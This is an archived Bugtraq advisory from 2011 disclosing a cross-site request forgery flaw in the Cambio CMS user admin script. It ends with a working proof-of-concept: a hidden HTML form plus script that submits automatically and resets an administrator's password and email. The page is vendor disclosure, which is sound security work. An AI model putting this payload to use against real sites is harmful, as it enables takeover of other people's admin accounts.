bugtraq - XSRF (CSRF) in Cambio

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Tue, 11 Jan 2011 12:29:51 +0100 (CET)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: XSRF (CSRF) in Cambio

Vulnerability ID: HTB22768
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_cambio.html
Product: Cambio
Vendor: Joram van den Boezem ( http://www.cambiocms.org/ ) 
Vulnerable Version: 0.5a nightly r37 and probably prior versions
Vendor Notification: 28 December 2010 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "modules/user/user.admin.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/index.php?module=user&task=save&elmid=" method="post" name="main">
<input type="hidden" name="id" value="USERID">
<input type="hidden" name="module" value="100">
<input type="hidden" name="newpass1" value="newpass">
<input type="hidden" name="newpass2" value="newpass">
<input type="hidden" name="email" value="email@...mple.com">
<input type="hidden" name="usertype_id" value="2">
</form>
<script>
document.main.submit();
</script>